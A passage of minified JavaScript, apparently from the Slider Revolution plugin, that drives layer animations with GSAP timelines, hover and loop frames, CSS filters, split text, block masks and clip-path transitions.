0===C.timeline.start?"+=0.001":parseInt(C.timeline.start,0)/1e3:"+="+parseInt(C.timeline.startRelative,0)/1e3;h.timeline.addLabel(M,$),h.timeline.add(D,$),h.timeline.addLabel(M+"_end","+=0.01"),D.eventCallback("onStart",c,[{id:r,frame:M,L:a,tPE:i}]),"true"==h.animationonscroll||1==h.animationonscroll?(D.eventCallback("onUpdate",p,[{id:r,frame:M,L:a}]),D.smoothChildTiming=!0):D.eventCallback("onUpdate",p,[{id:r,frame:M,L:a}]),D.eventCallback("onComplete",g,[{id:r,frame:M,L:a,tPE:i}])}}}if(void 0!==h.frames.loop){var ee=parseInt(h.frames.loop.timeline.speed,0)/1e3,te=parseInt(h.frames.loop.timeline.start)/1e3||0,ie="trigger"!==e.mode&&"frame_999"!==e.frame||"frame_999"!==e.frame?.2:0,ae=te+ie;h.loop={root:tpGS.gsap.timeline({}),preset:tpGS.gsap.timeline({}),move:tpGS.gsap.timeline({repeat:-1,yoyo:h.frames.loop.timeline.yoyo_move}),rotate:tpGS.gsap.timeline({repeat:-1,yoyo:h.frames.loop.timeline.yoyo_rotate}),scale:tpGS.gsap.timeline({repeat:-1,yoyo:h.frames.loop.timeline.yoyo_scale}),filter:tpGS.gsap.timeline({repeat:-1,yoyo:h.frames.loop.timeline.yoyo_filter})};var re=h.frames.loop.frame_0,oe=h.frames.loop.frame_999,se="blur("+parseInt(re.blur||0,0)+"px) grayscale("+parseInt(re.grayscale||0,0)+"%) brightness("+parseInt(re.brightness||100,0)+"%)",ne="blur("+(oe.blur||0)+"px) grayscale("+(oe.grayscale||0)+"%) brightness("+(oe.brightness||100)+"%)";if(h.loop.root.add(h.loop.preset,0),h.loop.root.add(h.loop.move,ie),h.loop.root.add(h.loop.rotate,ie),h.loop.root.add(h.loop.scale,ie),h.loop.root.add(h.loop.filter,ie),"blur(0px) grayscale(0%) brightness(100%)"===se&&"blur(0px) grayscale(0%) brightness(100%)"===ne&&(se="none",ne="none"),oe.originX=re.originX,oe.originY=re.originY,oe.originZ=re.originZ,void 0===i&&(i="isometric"===o[r].perspectiveType?0:"local"===o[r].perspectiveType&&void 0!==z?void 0!==z.transformPerspective?z.transformPerspective:h.fff&&void 0!==W.transfromPerspective?W.transfromPerspective:o[r].perspective:o[r].perspective),h.frames.loop.timeline.curved){var le=parseInt(h.frames.loop.timeline.radiusAngle,0)||0,de=[{x:(re.x-re.xr)*o[r].CM.w,y:0,z:(re.z-re.zr)*o[r].CM.w},{x:0,y:(re.y+re.yr)*o[r].CM.w,z:0},{x:(oe.x+oe.xr)*o[r].CM.w,y:0,z:(oe.z+oe.zr)*o[r].CM.w},{x:0,y:(oe.y-oe.yr)*o[r].CM.w,z:0}],ce={type:"thru",curviness:h.frames.loop.timeline.curviness,path:[],autoRotate:h.frames.loop.timeline.autoRotate};for(var pe in de)de.hasOwnProperty(pe)&&(ce.path[pe]=de[le],le=++le==de.length?0:le);("trigger"!==e.mode&&"frame_999"!==e.frame||"frame_999"!==e.frame)&&h.loop.preset.fromTo(h.lp,ie,{"-webkit-filter":se,filter:se,x:0,y:0,z:0,minWidth:h._incolumn||h._ingroup?"100%":void 0===h.eow?0:h.eow,minHeight:h._incolumn||h._ingroup?"100%":void 0===h.eoh?0:h.eoh,scaleX:1,scaleY:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:i,transformOrigin:oe.originX+" "+oe.originY+" "+oe.originZ,opacity:1},l({x:ce.path[3].x,y:ce.path[3].y,z:ce.path[3].z,scaleX:re.scaleX,skewX:re.skewX,skewY:re.skewY,scaleY:re.scaleY,rotationX:re.rotationX,rotationY:re.rotationY,rotationZ:re.rotationZ,"-webkit-filter":se,filter:se,ease:"sine.inOut",opacity:re.opacity}),0),n(ce)&&h.loop.move.to(h.lp,h.frames.loop.timeline.yoyo_move?ee/2:ee,{motionPath:ce,ease:h.frames.loop.timeline.ease})}else("trigger"!==e.mode&&"frame_999"!==e.frame||"frame_999"!==e.frame)&&h.loop.preset.fromTo(h.lp,ie,{"-webkit-filter":se,filter:se,x:0,y:0,z:0,minWidth:h._incolumn||h._ingroup?"100%":void 0===h.eow?0:h.eow,minHeight:h._incolumn||h._ingroup?"100%":void 0===h.eoh?0:h.eoh,scaleX:1,scaleY:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:i,transformOrigin:oe.originX+" "+oe.originY+" "+oe.originZ,opacity:1},l({x:re.x*o[r].CM.w,y:re.y*o[r].CM.w,z:re.z*o[r].CM.w,scaleX:re.scaleX,skewX:re.skewX,skewY:re.skewY,scaleY:re.scaleY,rotationX:re.rotationX,rotationY:re.rotationY,rotationZ:re.rotationZ,ease:"sine.out",opacity:re.opacity,"-webkit-filter":se,filter:se}),0),h.loop.move.to(h.lp,h.frames.loop.timeline.yoyo_move?ee/2:ee,{x:oe.x*o[r].CM.w,y:oe.y*o[r].CM.w,z:oe.z*o[r].CM.w,ease:h.frames.loop.timeline.ease});h.loop.rotate.to(h.lp,h.frames.loop.timeline.yoyo_rotate?ee/2:ee,{rotationX:oe.rotationX,rotationY:oe.rotationY,rotationZ:oe.rotationZ,ease:h.frames.loop.timeline.ease}),h.loop.scale.to(h.lp,h.frames.loop.timeline.yoyo_scale?ee/2:ee,l({scaleX:oe.scaleX,scaleY:oe.scaleY,skewX:oe.skewX,skewY:oe.skewY,ease:h.frames.loop.timeline.ease}));var ge={opacity:oe.opacity||1,ease:h.frames.loop.timeline.ease,"-webkit-filter":ne,filter:ne};h.loop.filter.to(h.lp,h.frames.loop.timeline.yoyo_filter?ee/2:ee,ge),h.timeline.add(h.loop.root,ae)}if(void 0!==h.frames.frame_hover&&("start"===e.mode||void 0===h.hoverframeadded)){h.hoverframeadded=!0;var ue=h.frames.frame_hover.timeline.speed/1e3;ue=0===ue?1e-5:ue,h.cachedHoverSpeed=ue,h.hoverlistener||(h.hoverlistener=!0,o.document.on("mouseenter mousemove",("column"===h.type&&void 0!==h.cbg?"#"+h.cbg[0].id+",":"")+"#"+h.c[0].id,function(e){if(h.mouseIsOver=!0,1!=h.ignoreHoverFrames&&("mousemove"!==e.type||!0!==h.ignoremousemove)){if(h.animationonscroll||h.readyForHover){if(h.elementHovered=!0,h.hovertimeline||(h.hovertimeline=tpGS.gsap.timeline({paused:!0})),0==h.hovertimeline.progress()&&(void 0===h.lastHoveredTimeStamp||(new Date).getTime()-h.lastHoveredTimeStamp>150)&&(h.ignoremousemove=!0,h.ofHidOnHov=h.frames.frame_hover.mask?"hidden":"visible",h.hovertimeline.to(void 0!==h.m&&void 0!==h.cbgmask?[h.m,h.cbgmask]:void 0!==h.m?h.m:h.cbgmask,ue,{overflow:h.ofHidOnHov},0),"column"===h.type&&null!=h.cbg&&h.hovertimeline.to(h.cbg,ue,o.clone(o.convertHoverTransform(h.frames.frame_hover,h.cbg,{bgCol:h.bgcol,bg:h.styleProps.background})),0),"text"!==h.type&&"button"!==h.type||void 0===h.splitText||!1===h.splitText||h.hovertimeline.to([h.splitText.lines,h.splitText.words,h.splitText.chars],ue,{color:h.frames.frame_hover.color,ease:h.frames.frame_hover.transform.ease},0),"column"===h.type?h.hovertimeline.to(h.c,ue,s(o.clone(o.convertHoverTransform(h.frames.frame_hover,h.c,{bgCol:h.bgcol,bg:h.styleProps.background}))),0):h.hovertimeline.to(h.c,ue,o.clone(o.convertHoverTransform(h.frames.frame_hover,h.c,{bgCol:h.bgcol,bg:h.styleProps.background})),0),h.pZindex=h.p[0].style.zIndex,h.p[0].style.zIndex=parseInt(h.frames&&h.frames.frame_hover&&void 0!==h.frames.frame_hover.transform.zIndex?h.frames.frame_hover.transform.zIndex:h.pZindex),"svg"===h.type)){h.svgHTemp=o.clone(h.svgH),delete h.svgHTemp.svgAll;var t=Array.isArray(h.svgHTemp.fill)?h.svgHTemp.fill[o[r].level]:h.svgHTemp.fill;h.svgHTemp.fill=t,h.hovertimeline.to(h.svg,ue,h.svgHTemp,0),h.svg.length<=0&&(h.svg=a.find("svg")),h.svgPath.length<=0&&(h.svgPath=h.svg.find(h.svgI.svgAll?"path, circle, ellipse, line, polygon, polyline, rect":"path")),h.hovertimeline.to(h.svgPath,ue,{fill:t},0)}h.hovertimeline.play()}h.lastHoveredTimeStamp=(new Date).getTime()}}),o.document.on("mouseleave",("column"===h.type&&void 0!==h.cbg?"#"+h.cbg[0].id+",":"")+"#"+h.c[0].id,function(){h.mouseIsOver=!1,1!=h.ignoreHoverFrames&&(h.elementHovered=!1,(h.animationonscroll||h.readyForHover)&&void 0!==h.hovertimeline&&(h.hovertimeline.reverse(),h.p[0].style.zIndex=h.pZindex||h.zIndex,h.hovertimeline.eventCallback("onReverseComplete",o.hoverReverseDone,[{id:r,L:a}])))}))}if(T||(h.lastRequestedMainFrame="start"===e.mode?"frame_1":"continue"===e.mode?void 0===e.frame?h.currentframe:e.frame:h.lastRequestedMainFrame),void 0!==e.totime?h.tSTART=e.totime:void 0!==m&&void 0===e.frame?h.tSTART=m:void 0!==e.frame?h.tSTART=e.frame:h.tSTART=0,0===h.tSTART&&void 0===h.startedAnimOnce&&void 0===h.leftstage&&void 0===h.startedAnimOnce&&!0===h.hideonfirststart&&"preset"===e.mode&&(o[r]._L[a[0].id].pVisRequest=0,h.hideonfirststart=!1),"frame_999"!==h.tSTART&&"frame_999"!==h.triggeredFrame||!h.leftstage&&void 0!==h.startedAnimOnce){if("true"!=h.animationonscroll&&1!=h.animationonscroll?h.timeline.play(h.tSTART):h.timeline.time(h.tSTART),jQuery.inArray(h.type,["group","row","column"])>=0&&void 0!==e.frame){if(void 0===h.childrenJS)for(var V in h.childrenJS={},o[r]._L)void 0!==o[r]._L[V]._lig&&void 0!==o[r]._L[V]._lig[0]&&o[r]._L[V]._lig[0].id===a[0].id&&o[r]._L[V]._lig[0].id!==o[r]._L[V].c[0].id&&(h.childrenJS[o[r]._L[V].c[0].id]=o[r]._L[V].c);e.frame="0"==e.frame?"frame_0":e.frame,e.frame="1"==e.frame?"frame_1":e.frame,e.frame="999"==e.frame?"frame_999":e.frame;var he=void 0===e.totime?void 0!==h.frames[e.frame].timeline.startAbsolute?parseInt(h.frames[e.frame].timeline.startAbsolute,0)/1e3:void 0!==h.frames[e.frame].timeline.start?o.isNumeric(h.frames[e.frame].timeline.start)?parseInt(h.frames[e.frame].timeline.start,0)/1e3:0:.001:e.totime;if(!0===e.updateChildren)for(var V in h.childrenJS)h.childrenJS.hasOwnProperty(V)&&o.renderLayerAnimation({layer:h.childrenJS[V],fastforward:!1,id:r,mode:"continue",updateChildren:!0,totime:he});else for(var V in h.childrenJS)h.childrenJS.hasOwnProperty(V)&&o[r]._L[V].pausedTrueParrent&&(o.renderLayerAnimation({layer:h.childrenJS[V],fastforward:!1,id:r,mode:"continue",updateChildren:!0,totime:he}),o[r]._L[V].pausedTrueParrent=!1)}}else;}}});var s=function(e){var t=o.clone(e);return delete t.backgroundColor,delete t.background,delete t.backgroundImage,delete t.borderSize,delete t.borderStyle,delete t["backdrop-filter"],t},n=function(e){if(void 0!==e&&void 0!==e.path&&Array.isArray(e.path)){var t=0,i=0;for(var a in e.path)!e.path.hasOwnProperty(a)||t>0||i>0||(t+=e.path[a].x,i+=e.path[a].y);return 0!=t||0!=i}},l=function(e){return void 0===e.skewX&&delete e.skewX,void 0===e.skewY&&delete e.skewY,e},d=function(e){e.from="edge"===e.from?"edges":e.from;var t=tpGS.gsap.utils.distribute(e);return function(i,a,r){return t(i,a,r)+(i<=r.length/2?0:e.offset||0)}},c=function(e){o[e.id].BUG_safari_clipPath&&e.L[0].classList.remove("rs-pelock"),(o[e.id]._L[e.L[0].id]._ingroup||o[e.id]._L[e.L[0].id]._incolumn||o[e.id]._L[e.L[0].id]._inrow)&&void 0!==o[e.id]._L[o[e.id]._L[e.L[0].id]._ligid]&&void 0!==o[e.id]._L[o[e.id]._L[e.L[0].id]._ligid].timeline&&(o[e.id]._L[o[e.id]._L[e.L[0].id]._ligid].timeline.isActive()||void 0===o[e.id]._L[e.L[0].id]||void 0===o[e.id]._L[e.L[0].id].frames[o[e.id]._L[e.L[0].id].timeline.currentLabel()]||(null==o[e.id]._L[o[e.id]._L[e.L[0].id]._ligid].timezone||o[e.id]._L[o[e.id]._L[e.L[0].id]._ligid].timezone.to<=parseInt(o[e.id]._L[e.L[0].id].frames[o[e.id]._L[e.L[0].id].timeline.currentLabel()].timeline.start,0))&&!0!==o[e.id]._L[e.L[0].id].animOnScrollForceDisable&&(o[e.id]._L[e.L[0].id].pausedTrueParrent=!0,o[e.id]._L[e.L[0].id].timeline.pause()));var t=o[e.id]._L[e.L[0].id],i=t.hovertimeline;i&&i.time()>0&&(i.pause(),i.time(0),i.kill(),delete t.hovertimeline),delete o[e.id]._L[e.L[0].id].childrenAtStartNotVisible,o[e.id]._L[e.L[0].id].pVisRequest=1;var a={layer:e.L};o[e.id]._L[e.L[0].id].tweenOnStart=!0,o[e.id]._L[e.L[0].id].animatingFrame=e.frame,o[e.id]._L[e.L[0].id].ignoremousemove=!1,o[e.id]._L[e.L[0].id].leftstage=!1,o[e.id]._L[e.L[0].id].readyForHover=!1,o[e.id]._L[e.L[0].id].tweenDirection=1==o[e.id]._L[e.L[0].id].animationonscroll||"true"==o[e.id]._L[e.L[0].id].animationonscroll?o[e.id]._L[e.L[0].id].animteToTimeCache>o[e.id]._L[e.L[0].id].animteToTime?-1:1:void 0,void 0!==o[e.id]._L[e.L[0].id].layerLoop&&o[e.id]._L[e.L[0].id].layerLoop.from===e.frame&&o[e.id]._L[e.L[0].id].layerLoop.count++,""+o[e.id]._L[e.L[0].id].tweenDirection=="-1"&&("frame_0"===e.frame||"frame_1"==e.frame&&o[e.id]._L[e.L[0].id].animteToTime<=.01)&&"column"!==o[e.id]._L[e.L[0].id].type&&"row"!==o[e.id]._L[e.L[0].id].type&&"group"!==o[e.id]._L[e.L[0].id].type?(o[e.id]._L[e.L[0].id].leftstage=!0,o[e.id]._L[e.L[0].id].pVisRequest=0,o[e.id]._L[e.L[0].id].pPeventsRequest="none",window.requestAnimationFrame(function(){o.requestLayerUpdates(e.id,"leftstage",e.L[0].id)})):("frame_1"===e.frame&&"Safari"===window.RSBrowser&&void 0===o[e.id]._L[e.L[0].id].safariRenderIssue&&(tpGS.gsap.set([o[e.id]._L[e.L[0].id].c],{opacity:1}),o[e.id]._L[e.L[0].id].safariRenderIssue=!0),"frame_999"!==e.frame&&(o[e.id]._L[e.L[0].id].startedAnimOnce=!0,o[e.id]._L[e.L[0].id].pPeventsRequest=o[e.id]._L[e.L[0].id].noPevents?"none":"auto"),a.eventtype="frame_0"===e.frame||"frame_1"===e.frame?"enterstage":"frame_999"===e.frame?"leavestage":"framestarted",o[e.id]._L[e.L[0].id]._ingroup&&void 0!==o[e.id]._L[o[e.id]._L[e.L[0].id]._lig[0].id]&&!0!==o[e.id]._L[o[e.id]._L[e.L[0].id]._lig[0].id].frames.frame_1.timeline.waitoncall&&(o[e.id]._L[o[e.id]._L[e.L[0].id]._lig[0].id].pVisRequest=1),o.requestLayerUpdates(e.id,a.eventtype,e.L[0].id,void 0!==o[e.id]._L[e.L[0].id].frames[e.frame]&&void 0!==o[e.id]._L[e.L[0].id].frames[e.frame].timeline&&0==o[e.id]._L[e.L[0].id].frames[e.frame].timeline.usePerspective?e.tPE:"ignore")),a.id=e.id,a.layerid=e.L[0].id,a.layertype=o[e.id]._L[e.L[0].id].type,a.frame_index=e.frame,a.layersettings=o[e.id]._L[e.L[0].id],o[e.id].c.trigger("revolution.layeraction",[a]),"enterstage"===a.eventtype&&o.toggleState(o[e.id]._L[e.L[0].id].layertoggledby),"frame_1"===e.frame&&o.animcompleted(e.L,e.id)},p=function(e){o[e.id]._L[e.L[0].id].animatingFrame=e.frame,o[e.id]._L[e.L[0].id].tweenOnStart=!1,o[e.id]._L[e.L[0].id].tweenOnEnd=!1,"frame_999"===e.frame&&(o[e.id]._L[e.L[0].id].pVisRequest=1,o[e.id]._L[e.L[0].id].pPeventsRequest=o[e.id]._L[e.L[0].id].noPevents?"none":"auto",o[e.id]._L[e.L[0].id].leftstage=!1,window.requestAnimationFrame(function(){o.requestLayerUpdates(e.id,"update",e.L[0].id)}))},g=function(e){var t=!0;if("column"===o[e.id]._L[e.L[0].id].type||"row"===o[e.id]._L[e.L[0].id].type||"group"===o[e.id]._L[e.L[0].id].type){var i=o[e.id]._L[e.L[0].id].timeline.currentLabel(),a=jQuery.inArray(i,o[e.id]._L[e.L[0].id].ford);a++,a=o[e.id]._L[e.L[0].id].ford.length>a?o[e.id]._L[e.L[0].id].ford[a]:i,void 0!==o[e.id]._L[e.L[0].id].frames[a]&&void 0!==o[e.id]._L[e.L[0].id].frames[i]&&(o[e.id]._L[e.L[0].id].timezone={from:parseInt(o[e.id]._L[e.L[0].id].frames[i].timeline.startAbsolute,0),to:parseInt(o[e.id]._L[e.L[0].id].frames[a].timeline.startAbsolute,0)})}if("frame_999"!==e.frame&&o[e.id].isEdge&&"shape"===o[e.id]._L[e.L[0].id].type){var r=o[e.id]._L[e.L[0].id].c[0].style.opacity;o[e.id]._L[e.L[0].id].c[0].style.opacity=r-1e-4,tpGS.gsap.set(o[e.id]._L[e.L[0].id].c[0],{opacity:r-.001,delay:.05}),tpGS.gsap.set(o[e.id]._L[e.L[0].id].c[0],{opacity:r,delay:.1})}o[e.id]._L[e.L[0].id].animatingFrame="done",o[e.id]._L[e.L[0].id].animatedFrame=e.frame,o[e.id]._L[e.L[0].id].tweenOnStart=!1,o[e.id]._L[e.L[0].id].tweenOnEnd=!0,o[e.id]._L[e.L[0].id].tweenDirection=1==o[e.id]._L[e.L[0].id].animationonscroll||"true"==o[e.id]._L[e.L[0].id].animationonscroll?o[e.id]._L[e.L[0].id].animteToTimeCache>o[e.id]._L[e.L[0].id].animteToTime?-1:1:void 0;var s={};s.layer=e.L,s.eventtype="frame_0"===e.frame||"frame_1"===e.frame?"enteredstage":"frame_999"===e.frame?"leftstage":"frameended",o[e.id]._L[e.L[0].id].readyForHover=!0,s.layertype=o[e.id]._L[e.L[0].id].type,s.frame_index=e.frame,s.layersettings=o[e.id]._L[e.L[0].id],o[e.id].c.trigger("revolution.layeraction",[s]),"frame_999"===e.frame&&"leftstage"===s.eventtype?(o[e.id]._L[e.L[0].id].leftstage=!0,o[e.id]._L[e.L[0].id].pVisRequest=0,o[e.id]._L[e.L[0].id].pPeventsRequest="none",t=!1,window.requestAnimationFrame(function(){o.requestLayerUpdates(e.id,"leftstage",e.L[0].id)})):(e.L[0].id,void 0!==o[e.id]._L[e.L[0].id].frames[e.frame]&&void 0!==o[e.id]._L[e.L[0].id].frames[e.frame].timeline&&0==o[e.id]._L[e.L[0].id].frames[e.frame].timeline.usePerspective&&window.requestAnimationFrame(function(){o.requestLayerUpdates(e.id,"frameended",e.L[0].id,e.tPE)})),"leftstage"===s.eventtype&&void 0!==o[e.id].videos&&void 0!==o[e.id].videos[e.L[0].id]&&o.stopVideo&&o.stopVideo(e.L,e.id),"column"===o[e.id]._L[e.L[0].id].type&&void 0!==o[e.id]._L[e.L[0].id].cbg&&tpGS.gsap.to(o[e.id]._L[e.L[0].id].cbg,.01,{visibility:"visible"}),"leftstage"===s.eventtype&&(o.unToggleState(e.layertoggledby),"video"===o[e.id]._L[e.L[0].id].type&&o.resetVideo&&setTimeout(function(){o.resetVideo(e.L,e.id)},100)),o[e.id].BUG_safari_clipPath&&!t&&e.L[0].classList.add("rs-pelock"),void 0!==o[e.id]._L[e.L[0].id].layerLoop&&o[e.id]._L[e.L[0].id].layerLoop.to===e.frame&&(-1==o[e.id]._L[e.L[0].id].layerLoop.repeat||o[e.id]._L[e.L[0].id].layerLoop.repeat>o[e.id]._L[e.L[0].id].layerLoop.count)&&o.renderLayerAnimation({layer:o[e.id]._L[e.L[0].id].c,frame:o[e.id]._L[e.L[0].id].layerLoop.from,updateChildren:o[e.id]._L[e.L[0].id].layerLoop.children,mode:"continue",fastforward:!0===o[e.id]._L[e.L[0].id].layerLoop.keep,id:e.id})},u=function(e){if(void 0===e)return"";var t="";return o.isChrome8889&&0===e.blur&&(e.blur=.05),t=void 0!==e.blur?"blur("+(e.blur||0)+"px)":"",t+=void 0!==e.grayscale?(t.length>0?" ":"")+"grayscale("+(e.grayscale||0)+"%)":"",""===(t+=void 0!==e.brightness?(t.length>0?" ":"")+"brightness("+(e.brightness||100)+"%)":"")?"none":t},h=function(e){if(void 0===e)return"";var t="";return o.isChrome8889&&0===e.b_blur&&(e.b_blur=.05),t=void 0!==e.b_blur?"blur("+(e.b_blur||0)+"px)":"",t+=void 0!==e.b_grayscale?(t.length>0?" ":"")+"grayscale("+(e.b_grayscale||0)+"%)":"",t+=void 0!==e.b_sepia?(t.length>0?" ":"")+"sepia("+(e.b_sepia||0)+"%)":"",t+=void 0!==e.b_invert?(t.length>0?" ":"")+"invert("+(e.b_invert||0)+"%)":"",""===(t+=void 0!==e.b_brightness?(t.length>0?" ":"")+"brightness("+(e.b_brightness||100)+"%)":"")?"none":t},m=function(e,t){var i=(e=e.split("("))[0];return e.shift(),i+"("+t+"deg, "+e.join("(")},v=function(e){if(-1!==e.search("deg,")){var t=e.split("deg,")[0];if(-1!==t.search(/\(/))return parseInt(t.split("(")[1],10)}return 180},f=function(e,t){if(void 0!==e&&e.indexOf("oc:t")>=0)return{};e=void 0===e?"":e.split(";");var i={fill:o.revToResp("#ffffff",o[t].rle),stroke:"transparent","stroke-width":"0px","stroke-dasharray":"0","stroke-dashoffset":"0"};for(var a in e)if(e.hasOwnProperty(a)){var r=e[a].split(":");switch(r[0]){case"c":i.fill=o.revToResp(r[1],o[t].rle,void 0,"||");break;case"sw":i["stroke-width"]=r[1];break;case"sc":i.stroke=r[1];break;case"so":i["stroke-dashoffset"]=r[1];break;case"sa":i["stroke-dasharray"]=r[1];break;case"sall":i.svgAll=r[1]}}return i},y=function(e){return"c"===e?"center":"l"===e?"left":"r"===e?"right":e},w=function(e){var t=o[e.id]._L[e.layer[0].id],i=!1;if(t.splitText&&!1!==t.splitText&&t.splitText.revert(),"text"===t.type||"button"===t.type){for(var a in t.frames)if(void 0!==t.frames[a].chars||void 0!==t.frames[a].words||void 0!==t.frames[a].lines){i=!0;break}t.splitText=!!i&&new tpGS.SplitText(t.c,{type:"lines,words,chars",wordsClass:"rs_splitted_words",linesClass:"rs_splitted_lines",charsClass:"rs_splitted_chars"})}else t.splitText=!1},b=function(e,t,i){if(void 0!==e&&e.indexOf("block")>=0){var a={};switch(0===t[0].getElementsByClassName("tp-blockmask_in").length&&(t.append('
            '),t.append('
            ')),i=void 0===i?"power3.inOut":i,a.ft=[{scaleY:1,scaleX:0,transformOrigin:"0% 50%"},{scaleY:1,scaleX:1,ease:i,immediateRender:!1}],a.t={scaleY:1,scaleX:0,transformOrigin:"100% 50%",ease:i,immediateRender:!1},a.bmask_in=t.find(".tp-blockmask_in"),a.bmask_out=t.find(".tp-blockmask_out"),a.type="block",e){case"blocktoleft":case"blockfromright":a.ft[0].transformOrigin="100% 50%",a.t.transformOrigin="0% 50%";break;case"blockfromtop":case"blocktobottom":a.ft=[{scaleX:1,scaleY:0,transformOrigin:"50% 0%"},{scaleX:1,scaleY:1,ease:i,immediateRender:!1}],a.t={scaleX:1,scaleY:0,transformOrigin:"50% 100%",ease:i,immediateRender:!1};break;case"blocktotop":case"blockfrombottom":a.ft=[{scaleX:1,scaleY:0,transformOrigin:"50% 100%"},{scaleX:1,scaleY:1,ease:i,immediateRender:!1}],a.t={scaleX:1,scaleY:0,transformOrigin:"50% 0%",ease:i,immediateRender:!1}}return a.ft[1].overwrite="auto",a.t.overwrite="auto",a}return!1},_=function(e,t,i,a,r){return 0===o[r].sdir||void 0===t?e:("mask"===i?a="x"===a?"mX":"y"===a?"mY":a:"chars"===i?a="x"===a?"cX":"y"===a?"cY":"dir"===a?"cD":a:"words"===i?a="x"===a?"wX":"y"===a?"wY":"dir"===a?"wD":a:"lines"===i&&(a="x"===a?"lX":"y"===a?"lY":"dir"===a?"lD":a),void 0===t[a]||!1===t[a]?e:void 0!==t&&!0===t[a]?"t"===e||"top"===e?"b":"b"===e||"bottom"===e?"t":"l"===e||"left"===e?"r":"r"===e||"right"===e?"l":-1*parseFloat(e)+((""+e).indexOf("px")>=0?"px":(""+e).indexOf("%")>=0?"%":""):void 0)},S=function(e){var t,i=o[e.id]._L[e.layer[0].id],a=void 0===e.source?o.clone(e.frame.transform):o.clone(e.frame[e.source]),r={originX:"50%",originY:"50%",originZ:"0"},s=void 0!==i._lig&&void 0!==o[e.id]._L[i._lig[0].id]?o[e.id]._L[i._lig[0].id].eow:o[e.id].conw,n=void 0!==i._lig&&void 0!==o[e.id]._L[i._lig[0].id]?o[e.id]._L[i._lig[0].id].eoh:o[e.id].conh;for(var l in a)if(a.hasOwnProperty(l)){if(a[l]="object"==typeof a[l]?a[l][o[e.id].level]:a[l],"inherit"===a[l]||"delay"===l||"direction"===l||"use"===l)delete a[l];else if("originX"===l||"originY"===l||"originZ"===l)r[l]=a[l],delete a[l];else if(o.isNumeric(a[l],0))a[l]=_(a[l],e.frame.reverse,e.target,l,e.id,e.id);else if("r"===a[l][0]&&"a"===a[l][1]&&"("===a[l][3])a[l]=a[l].replace("ran","random");else if(a[l].indexOf("cyc(")>=0){var d=a[l].replace("cyc(","").replace(")","").replace("[","").replace("]","").split("|");a[l]=new function(e){return tpGS.gsap.utils.wrap(d,void 0)}}else if(a[l].indexOf("%")>=0&&o.isNumeric(t=parseInt(a[l],0)))a[l]="x"===l?_((i.eow||0)*t/100,e.frame.reverse,e.target,l,e.id):"y"===l?_((i.eoh||0)*t/100,e.frame.reverse,e.target,l,e.id):a[l];else{a[l]=a[l].replace("[","").replace("]",""),a[l]=_(a[l],e.frame.reverse,e.target,l,e.id,e.id);var c={t:0,b:0};switch("row"===i.type&&("rev_row_zone_top"===i.zone&&void 0!==o[e.id].topZones[i.slideIndex]&&void 0!==o[e.id].topZones[i.slideIndex][0]?c={t:0,b:0}:"rev_row_zone_middle"===i.zone&&void 0!==o[e.id].middleZones[i.slideIndex]&&void 0!==o[e.id].middleZones[i.slideIndex][0]?c={t:Math.round(o[e.id].module.height/2-o[e.id].middleZones[i.slideIndex][0].offsetHeight/2),b:Math.round(o[e.id].module.height/2+o[e.id].middleZones[i.slideIndex][0].offsetHeight/2)}:"rev_row_zone_bottom"===i.zone&&void 0!==o[e.id].bottomZones[i.slideIndex]&&void 0!==o[e.id].bottomZones[i.slideIndex][0]&&(c={t:Math.round(o[e.id].module.height-o[e.id].bottomZones[i.slideIndex][0].offsetHeight),b:o[e.id].module.height+o[e.id].bottomZones[i.slideIndex][0].offsetHeight})),a[l]){case"t":case"top":a[l]=0-(i.eoh||0)-("column"===i.type?0:i.calcy||0)-o.getLayerParallaxOffset(e.id,e.layer[0].id,"v")-("row"===i.type&&void 0!==i.marginTop?i.marginTop[o[e.id].level]:0)-c.b;break;case"b":case"bottom":a[l]=n-("column"===i.type||"row"===i.type?0:i.calcy||0)+o.getLayerParallaxOffset(e.id,e.layer[0].id,"v")-c.t;break;case"l":case"left":a[l]=0-("row"===i.type?i.pow:i.eow||0)-("column"===i.type?0:"row"===i.type?i.rowcalcx:i.calcx||0)-o.getLayerParallaxOffset(e.id,e.layer[0].id,"h");break;case"r":case"right":a[l]=s-("column"===i.type?0:"row"===i.type?i.rowcalcx:i.calcx||0)+o.getLayerParallaxOffset(e.id,e.layer[0].id,"h");break;case"m":case"c":case"middle":case"center":a[l]="x"===l?_(s/2-("column"===i.type?0:i.calcx||0)-(i.eow||0)/2,e.frame.reverse,e.target,l,e.id):"y"===l?_(n/2-("column"===i.type?0:i.calcy||0)-(i.eoh||0)/2,e.frame.reverse,e.target,l,e.id):a[l]}}"skewX"===l&&void 0!==a[l]&&(a.scaleY=void 0===a.scaleY?1:parseFloat(a.scaleY),a.scaleY*=Math.cos(parseFloat(a[l])*tpGS.DEG2RAD)),"skewY"===l&&void 0!==a[l]&&(a.scaleX=void 0===a.scaleX?1:parseFloat(a.scaleX),a.scaleX*=Math.cos(parseFloat(a[l])*tpGS.DEG2RAD))}if(a.transformOrigin=r.originX+" "+r.originY+" "+r.originZ,!o[e.id].BUG_ie_clipPath&&void 0!==a.clip&&void 0!==i.clipPath&&i.clipPath.use){a.clipB=null==a.clipB?100:a.clipB;var p="rectangle"==i.clipPath.type,g=parseInt(a.clip,0),m=100-parseInt(a.clipB,0),v=Math.round(g/2);switch(i.clipPath.origin){case"invh":a.clipPath="polygon(0% 0%, 0% 100%, "+g+"% 100%, "+g+"% 0%, 100% 0%, 100% 100%, "+m+"% 100%, "+m+"% 0%, 0% 0%)";break;case"invv":a.clipPath="polygon(100% 0%, 0% 0%, 0% "+g+"%, 100% "+g+"%, 100% 100%, 0% 100%, 0% "+m+"%, 100% "+m+"%, 100% 0%)";break;case"cv":a.clipPath=p?"polygon("+(50-v)+"% 0%, "+(50+v)+"% 0%, "+(50+v)+"% 100%, "+(50-v)+"% 100%)":"circle("+g+"% at 50% 50%)";break;case"ch":a.clipPath=p?"polygon(0% "+(50-v)+"%, 0% "+(50+v)+"%, 100% "+(50+v)+"%, 100% "+(50-v)+"%)":"circle("+g+"% at 50% 50%)";break;case"l":a.clipPath=p?"polygon(0% 0%, "+g+"% 0%, "+g+"% 100%, 0% 100%)":"circle("+g+"% at 0% 50%)";break;case"r":a.clipPath=p?"polygon("+(100-g)+"% 0%, 100% 0%, 100% 100%, "+(100-g)+"% 100%)":"circle("+g+"% at 100% 50%)";break;case"t":a.clipPath=p?"polygon(0% 0%, 100% 0%, 100% "+g+"%, 0% "+g+"%)":"circle("+g+"% at 50% 